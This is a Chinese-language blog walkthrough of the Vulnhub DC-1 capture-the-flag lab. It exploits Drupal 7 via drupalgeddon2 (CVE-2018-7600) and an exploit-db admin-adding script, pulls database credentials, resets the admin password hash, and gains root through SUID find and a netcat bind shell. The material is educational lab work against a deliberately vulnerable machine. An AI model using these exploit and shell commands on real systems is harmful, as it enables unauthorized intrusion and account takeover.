freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Vulnhub靶机渗透测试之DC-1-Drupal
2020-12-20 23:24:14

Vulnhub简介

Vulnhub是一个提供了很多漏洞环境的靶场平台,其中的环境基本上都是做好的虚拟机镜像文件,需要使用VMware或者是VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚拟机到获取操作系统的root权限和查看flag。

靶场部署

vulnhub官网https://www.vulnhub.com

1、直接从官网下载做好的虚拟机镜像文件(我下载的Mirror版本的);

2、解压会得到一个.ova的文件,然后在VMware中打开即可;

环境配置

攻击机kali:192.168.0.114

DC靶机:192.168.0.119

(我两者都是用的桥接模式,最好都再做一个快照吧,以防万一)

虚拟机打开如下所示:

1608470808_5fdf51188687e555f70ea.jpg!small?1608470807607


步骤

一、信息收集

1、使用nmap扫描扫描到192.168.0.119,开放了80端口

1608471275_5fdf52eb1a3a0e51c5511.png!small?1608471274156

2、访问:http://192.168.0.119:80,页面如下所示,通过Wappalyzer或者网页底部的Drupal知道网站的CMS是Drupal。

1608470975_5fdf51bfe4a1d5d0f9131.jpg!small?1608470976108

3、查看网站的robots.txt协议,扫描目录都没有什么收获

1608471589_5fdf5425988a21f71088c.png!small?1608471588794

二、漏洞发现及利用

1、使用msf查找一下Drupal的漏洞,然后一个一个尝试看是否可以利用。

1608471456_5fdf53a09fc2311caa7d8.jpg!small?1608471456736

2、最终使用第四个成功利用,即drupalgeddon2漏洞:exploit/unix/webapp/drupal_drupalgeddon2(CVE-2018-7600)

1608471941_5fdf55850d75cda686caf.jpg!small?1608471940125

三、getshell

1、普通权限的shell

漏洞利用成功,也getshell了,可惜不是root权限,但是也找到了第一个flag

执行的命令如下:

shell

whoami

ls

cat flag1.txt

1608472173_5fdf566d99e6efc1ba887.jpg!small?1608472172672

1608472249_5fdf56b94903940324a09.jpg!small?1608472248362

flag1中提示到:每一个好的CMS都需要一个配置文件,就如你一样。

Drupal的默认配置文件为:settings.php,查找一下settings.php文件所在的路径

find -name “settings.php”

cat /var/www/sites/default/settings.php

1608472614_5fdf5826a647182f59110.jpg!small?1608472613865

配置文件中得到flag2,翻译大致意思是:暴力破解不是唯一的方式,我们需要获取一个访问的权限,所以需要获得网站登录的用户名和密码。

1608472825_5fdf58f90a7503ff98c76.jpg!small?1608472824247

还得到了数据库的账户名和密码:dbuser/R0ck3t

2、交互式的shell

既然得到了数据库账户名和密码,可以使用python反弹一个交互式的shell,然后利用账户名密码成功连接数据库

python -c 'import pty;pty.spawn("/bin/bash")'

mysql -u dbuser -p

输入密码:R0ck3t

1608472966_5fdf598625262e1acefa4.jpg!small?1608472965242

show databases:查看数据库,查询到数据库名为drupaldb

1608473398_5fdf5b36c901f99e2c5cb.jpg!small?1608473397832

查询数据库drupaldb中的表,其中有一个users表,账户名和密码应该就是其中。

1608473465_5fdf5b790ad54abdb22c6.jpg!small?1608473464019

select * from users:查看users表中数据,发现了账户名admin,但是密码是被加密了的

1608473577_5fdf5be9d622dbeed46b9.jpg!small?1608473576924

但是可以修改admin的密码或者新增加一个admin权限的用户

修改admin账户的密码

使用Drupal对数据库的加密方法,生成一个新的密码,然后使用此密码更新admin账户的密码

加密的脚本所在路径:/var/www/scripts/password-hash.sh

使用该脚本文件加密明文密码为:123456的密码,得到加密之后的密码

1608473760_5fdf5ca0dcd1c4808563d.jpg!small?1608473760021

然后再在mysql的终端执行:

update drupaldb.users set pass="$S$DOpRSoJxu8FgKXsjxGpIF5F8LFF1It3ptthx4G60T1Etq9ZKiDDS" where name="admin"

成功将admin账户的密码修改为:123456

1608473773_5fdf5cadac56a6779bbcb.jpg!small?1608473772708

1608474146_5fdf5e22ec28f62ad1999.jpg!small?1608474146298

新增一个admin权限的账户

需要查看靶机的版本,然后再用对应的脚本去添加一个账户,靶机的版本为:7.24

cat includes/bootstrap.inc | grep VERSION   #查看靶机版本

1608474247_5fdf5e87cf88fddbdfff9.jpg!small?1608474246880

使用searchsploit命令搜索Drupal可以利用的脚本

1608474352_5fdf5ef08303b549df7fb.jpg!small?1608474351856

添加一个账户:admin123/admin123

python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.0.119 -u admin123 -p admin123

1608474435_5fdf5f43ef074076ea90f.jpg!small?1608474435003

成功登录

1608474646_5fdf6016aec96f9b5dbf3.jpg!small?1608474645741

登录之后点击Find content之后找到falg3

1608474657_5fdf602170dd4f59bd4de.jpg!small?1608474656544

flag3的信息中提到了passwd和shadow,应该就是/etc/passwd和/etc/shadow这两个文件了,而find、perms、-exec应该是要提权才用到

/etc/passwd文件和/etc/shadow文件

1、所有的用户的账号和密码都在这两个文件中

2、/etc/passwd保存着每个用户账号。该文件只有管理员可以修改,但是对于所有的用户都可读

3、/etc/shadow保存着密码等信息。该文件只有系统管理员能够修改和查看,其他用户不能查看、修改。

cat /etc/passwd查看文件,提示flag在/home/flag4里面

1608475059_5fdf61b37d944d2c5b759.jpg!small?1608475058578

查看home/flag4/flag4.txt文件,得到flag4

flag的提示:您可以使用相同的方法在根目录中查找或访问标志吗?

即要用用相同的方法在root目录下找到最终flag。

1608475261_5fdf627d9fcc036951134.jpg!small?1608475260776

最后的flag在root目录下,但是没有读写的权限,所以要用到提权了。

1608475605_5fdf63d563630f97c3289.jpg!small?1608475604488

四、提权

1、suid提权 

suid提权参考文章:suid提权

查找具有root权限的其他命令,以下均可查询:

find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb { }

执行:find / -perm -4000

ls -lh /usr/bin/find

发现find本身就是root权限

1608476574_5fdf679ed960081f14359.png!small?1608476574002

1608476715_5fdf682ba15bdd8690503.png!small?1608476714663

利用find来提权,成功得到flag

find ./ 111 -exec '/bin/sh' \;

1608476395_5fdf66eba4071e921c4d5.jpg!small?1608476394904


2、利用netcat来提权

通过find执行的命令既然都是root权限,那也可以netcat来将它提为root权限,创建一个admin的文件,然后再利用find将netcat的权限提升为root权限

touch admin
find admin -exec whoami  \;                                                                 
find admin -exec netcat -lvp 7777 -e "/bin/sh" \;

1608476280_5fdf6678d4e51f5b74133.jpg!small?1608476279878

成功得到flag!

1608476294_5fdf668691676ea2a8dd1.jpg!small?1608476293661


涉及到的知识点

1、msf的使用以及寻找可以利用的漏洞

2、网站的配置文件

3、mysql数据库的基本操作

4、Drupal的管理员密码忘记的解决办法

5、suid的提权

参考文章:

https://zhuanlan.zhihu.com/p/135342104

https://www.jianshu.com/p/86b3c598a4c4

# 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录